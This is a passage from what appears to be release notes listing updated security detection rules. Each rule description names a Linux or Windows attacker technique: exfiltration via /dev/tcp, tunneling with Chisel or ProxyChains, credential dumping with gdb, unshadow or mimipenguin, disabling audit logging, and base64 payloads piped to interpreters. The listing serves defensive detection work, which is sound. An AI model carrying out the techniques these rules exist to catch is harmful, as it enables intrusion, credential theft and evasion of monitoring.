attempt to escalate privileges, execute unauthorized tasks, or maintain persistence within a system. | update | 4 + +|<> | A machine learning job has identified a spike in user account management events for a user, indicating potential privileged access activity. This indicates an unusual increase in actions related to managing user accounts (such as creating, modifying, or deleting accounts), which could be a sign of an attempt to escalate privileges or unauthorized activity involving account management. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Windows from an uncommon device, indicating potential privileged access activity. This could signal a compromised account, an attacker using stolen credentials, or an insider threat leveraging an unauthorized device to escalate privileges. | update | 4 + +|<> | A machine learning job has detected a user accessing an uncommon group name for privileged operations, indicating potential privileged access activity. This indicates that a user has accessed a group name that is unusual for their typical operations, particularly for actions requiring elevated privileges. This could point to an attempt to manipulate group memberships or escalate privileges on a system. | update | 4 + +|<> | A machine learning job has identified a user leveraging an uncommon privilege type for privileged operations, indicating potential privileged access activity. This indicates that a user is performing operations requiring elevated privileges but is using a privilege type that is not typically seen in their baseline logs. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Windows from an uncommon geographical location, indicating potential privileged access activity. This could suggest a compromised account, unauthorized access, or an attacker using stolen credentials to escalate privileges. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Windows from an uncommon source IP, indicating potential privileged access activity. This could suggest an account compromise, misuse of administrative privileges, or an attacker leveraging a new network location to escalate privileges. | update | 4 + +|<> | A machine learning job has detected a suspicious Windows process. This process has been classified as malicious in two ways. It was predicted to be malicious by the ProblemChild supervised ML model, and it was found to be an unusual child process name, for the parent process, by an unsupervised ML model. Such a process may be an instance of suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. | update | 111 + +|<> | A machine learning job has detected a suspicious Windows process. This process has been classified as malicious in two ways. It was predicted to be malicious by the ProblemChild supervised ML model, and it was found to be suspicious given that its user context is unusual and does not commonly manifest malicious activity,by an unsupervised ML model. Such a process may be an instance of suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. | update | 111 + +|<> | A machine learning job combination has identified a host with one or more suspicious Windows processes that exhibit unusually high malicious probability scores.These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same host name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. | update | 111 + +|<> | A machine learning job combination has identified a parent process with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same parent process name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. | update | 111 + +|<> | A machine learning job combination has identified a user with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same user name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. | update | 111 + +|<> | Detects the use of the AWS CLI with the "--endpoint-url" argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. | update | 7 + +|<> | This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process. | update | 12 + +|<> | This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects network connections initiated by a child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. | update | 6 + +|<> | This rule detects the use of the "curl" command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use "curl" to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. | update | 7 + +|<> | This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 11 + +|<> | This rule detects the use of git to clone a repository or download files from GitHub using wget or curl, followed by the creation of files in suspicious directories such as /tmp, /var/tmp, or /dev/shm. This behavior may indicate an attempt to download a payload, exploit or tool. | update | 4 + +|<> | This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. | update | 108 + +|<> | This rule monitors for common command line flags leveraged by the Chisel client utility followed by a connection attempt. Chisel is a command-line utility used for creating and managing TCP and UDP tunnels, enabling port forwarding and secure communication between machines. Attackers can abuse the Chisel utility to establish covert communication channels, bypass network restrictions, and carry out malicious activities by creating tunnels that allow unauthorized access to internal systems. | update | 12 + +|<> | This rule monitors for network connections from a kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. | update | 10 + +|<> | This rule monitors for the execution of the ProxyChains utility. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. | update | 110 + +|<> | This rule monitors for X11 forwarding via SSH. X11 forwarding is a feature that allows users to run graphical applications on a remote server and display the application's graphical user interface on their local machine. Attackers can abuse X11 forwarding for tunneling their GUI-based tools, pivot through compromised systems, and create covert communication channels, enabling lateral movement and facilitating remote control of systems within a network. | update | 109 + +|<> | This rule monitors for the execution of suspicious linux tools through ProxyChains. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. | update | 113 + +|<> | This rule monitors for a set of Linux utilities that can be used for tunneling and port forwarding. Attackers can leverage tunneling and port forwarding techniques to bypass network defenses, establish hidden communication channels, and gain unauthorized access to internal resources, facilitating data exfiltration, lateral movement, and remote control. | update | 115 + +|<> | This rule detects the use of SSH options that may indicate tunneling or port forwarding on Linux systems. This behavior is commonly associated with malicious activity, such as establishing a port forward, proxy or an encrypted tunnel to exfiltrate data. | update | 5 + +|<> | This rule monitors for potential tunneling and/or port forwarding activity on Linux systems via command line utilities. Attackers may use various tools to create covert communication channels, allowing them to bypass network security measures and maintain persistent access to compromised systems. By leveraging these utilities, attackers can tunnel traffic through legitimate protocols, making detection more challenging. | update | 2 + +|<> | This rule monitors for network connectivity to the internet from a previously unknown executable located in a suspicious directory. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to establish connections to unknown or suspicious destinations such as a command and control server. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. | update | 15 + +|<> | This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. | update | 5 + +|<> | Identifies the execution of the EarthWorm tunneler. Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems. | update | 216 + +|<> | This rule detects the use of system search utilities like grep and find to search for AWS credentials inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying cloud environment. | update | 4 + +|<> | Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations. | update | 214 + +|<> | Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations inside a container. | update | 4 + +|<> | Identifies the execution of the unshadow utility which is part of John the Ripper, a password-cracking tool on the host machine. Malicious actors can use the utility to retrieve the combined contents of the '/etc/shadow' and '/etc/password' files. Using the combined file generated from the utility, the malicious threat actors can use them as input for password-cracking utilities or prepare themselves for future operations by gathering credential information of the victim. | update | 114 + +|<> | This rule monitors for the potential memory dump of the init process (PID 1) through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. | update | 112 + +|<> | This rule monitors for potential memory dumping through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. | update | 108 + +|<> | This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 4 + +|<> | This rule detects when a process accesses Kubernetes service account secrets. Kubernetes service account secrets are files that contain sensitive information used by applications running in Kubernetes clusters to authenticate and authorize access to the cluster. These secrets are typically mounted into pods at runtime, allowing applications to access them securely. Unauthorized access to these secrets can lead to privilege escalation, lateral movement and unauthorized actions within the cluster. | update | 4 + +|<> | This rule monitors for manual memory dumping via the proc filesystem. The proc filesystem in Linux provides a virtual filesystem that contains information about system processes and their memory mappings. Attackers may use this technique to dump the memory of a process, potentially extracting sensitive information such as credentials or encryption keys. | update | 4 + +|<> | Identifies multiple internal consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. | update | 16 + +|<> | Identifies multiple SSH login failures followed by a successful one from the same source address. Adversaries can attempt to login into multiple users with a common or known password to gain access to accounts. | update | 16 + +|<> | Identifies the execution of the mimipenguin exploit script which is linux adaptation of Windows tool mimikatz. Mimipenguin exploit script is used to dump clear text passwords from a currently logged-in user. The tool exploits a known vulnerability CVE-2018-20781. Malicious actors can exploit the cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. | update | 113 + +|<> | This rule detects the use of system search utilities like grep and find to search for private SSH keys or passwords inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying host machine. | update | 4 + +|<> | Identifies a Secure Shell (SSH) client or server process creating a known SSH backdoor log file. Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to enable unauthorized access or to log SSH credentials for exfiltration. | update | 215 + +|<> | Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. | update | 3 + +|<> | This rule identifies potentially malicious processes attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if role's are assumed by that instance. The rule monitors for various tools and scripts like curl, wget, python, and perl that might be used to interact with the metadata API. | update | 8 + +|<> | Adversaries may attempt to disable the Auditd service to evade detection. Auditd is a Linux service that provides system auditing and logging. Disabling the Auditd service can prevent the system from logging important security events, which can be used to detect malicious activity. | update | 106 + +|<> | Adversaries may attempt to disable the iptables or firewall service in an attempt to affect how a host is allowed to receive or send network traffic. | update | 115 + +|<> | Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may attempt to disable the syslog service to disrupt event logging and evade detection by security controls. | update | 217 + +|<> | This rule detects the deletion of the authorized_keys or authorized_keys2 files on Linux systems. These files are used to store public keys for SSH authentication. Unauthorized deletion of these files can be an indicator of an attacker removing access to the system, and may be a precursor to further malicious activity. | update | 6 + +|<> | Base16 and Base32 are encoding schemes that convert binary data into text, making it easier to transmit and store. This rule monitors for Base16 or Base32 encoding and decoding activity on Linux systems. Attackers may use these encoding schemes to obfuscate malicious payloads, evade detection, and facilitate data exfiltration. | update | 216 + +|<> | This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 10 + +|<> | Detects execution of bpftool commands used to detach eBPF programs or links, or to delete or modify eBPF maps. These actions can disable, alter, or interfere with kernel-level instrumentation and enforcement mechanisms implemented through eBPF. In environments relying on eBPF-based networking, observability, or security controls, unexpected use of these operations may indicate defense evasion or runtime tampering. | update | 2 + +|<> | This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell. | update | 2 + +|<> | This rule identifies the creation of directories in the /bin directory. The /bin directory contains essential binary files that are required for the system to function properly. The creation of directories in this location could be an attempt to hide malicious files or executables, as these /bin directories usually just contain binaries. | update | 107 + +|<> | This rule detects the creation or rename of the Doas configuration file on a Linux system. Adversaries may create or modify the Doas configuration file to elevate privileges and execute commands as other users while attempting to evade detection. | update | 106 + +|<> | Detects the creation of files related to the configuration of the dynamic linker on Linux systems. The dynamic linker is a shared library that is used by the Linux kernel to load and execute programs. Attackers may attempt to hijack the execution flow of a program by modifying the dynamic linker configuration files. This technique is often observed by userland rootkits that leverage shared objects to maintain persistence on a compromised host. | update | 9 + +|<> | Malware or other files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. | update | 216 + +|<> | Identifies file permission modifications in common writable directories by a non-root user. Adversaries often drop files or payloads into a writable directory and change permissions prior to execution. | update | 216 + +|<> | This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. | update | 5 + +|<> | This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. | update | 107 + +|<> | This rule detects interactive shells launched from system users. System users typically do not require interactive shells, and their presence may indicate malicious activity. | update | 6 + +|<> | This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. | update | 7 + +|<> | This rule detects the execution of kill, pkill, and killall commands on Linux systems. These commands are used to terminate processes on a system. Attackers may use these commands to kill security tools or other processes to evade detection or disrupt system operations. | update | 6 + +|<> | Monitors for kernel processes with associated process executable fields that are not empty. Unix kernel processes such as kthreadd and kworker typically do not have process.executable fields associated to them. Attackers may attempt to hide their malicious programs by masquerading as legitimate kernel processes. | update | 109 + +|<> | This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. | update | 5 + +|<> | This rule detects the creation of the dynamic linker (ld.so). The dynamic linker is used to load shared libraries needed by an executable. Attackers may attempt to replace the dynamic linker with a malicious version to execute arbitrary code. | update | 107 + +|<> | Identifies the deletion of sensitive Linux system logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. | update | 218 + +|<